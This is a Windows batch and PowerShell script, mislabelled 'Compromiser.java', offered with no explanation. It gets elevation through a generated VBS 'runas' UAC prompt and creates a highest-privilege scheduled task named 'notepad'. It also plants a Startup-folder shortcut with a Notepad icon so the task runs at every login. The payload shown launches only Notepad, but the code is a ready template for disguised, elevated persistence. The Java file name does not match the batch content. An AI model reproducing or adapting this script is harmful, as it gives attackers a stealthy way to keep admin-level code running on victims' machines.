Compromiser.java

@echo off
IF '%PROCESSOR_ARCHITECTURE%' EQU 'amd64' (
	>nul 2>&1 "%SYSTEMROOT%\SysWOW64\icacls.exe" "%SYSTEMROOT%\SysWOW64\config"
) ELSE (
	>nul 2>&1 "%SYSTEMROOT%\system32\icacls.exe" "%SYSTEMROOT%\system32\config"
)

if '%errorlevel%' NEQ '0' (
	goto UACPrompt
) else (
	goto gotAdmin
)

:UACPrompt
	echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
	set params = %*:"=""
	echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"
	"%temp%\getadmin.vbs"
	del "%temp%\getadmin.vbs"
	exit /B
:gotAdmin
	pushd "%CD%"
	CD /D "%~dp0"
	schtasks.exe /query /TN "notepad" >NUL 2>&1
	if %errorlevel% NEQ '0' (
		schtasks.exe /delete /TN "notepad" /f
	)
	schtasks.exe /Create /SC ONCE /TN "notepad" /TR "notepad.exe" /RL HIGHEST /SD 01/01/1910 /ST 00:00 > nul 2>&1
		
$p = "";$icon = "";if ([System.IntPtr]::Size -eq 8) {$p = "$env:SystemRoot\SysWOW64\schtasks.exe";$icon = "$env:SystemRoot\SysWOW64\notepad.exe"} else {$p = "$env:SystemRoot\system32\schtasks.exe";$icon = "$env:SystemRoot\system32\notepad.exe"};$WshShell = New-Object -ComObject WScript.Shell;$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Startup\notepad.lnk");$Shortcut.TargetPath = "$p";$Shortcut.Arguments = "/Run /TN `"notepad`"";$Shortcut.Description = "Runs Notepad.exe as admin";$Shortcut.IconLocation = "$icon";$Shortcut.Save();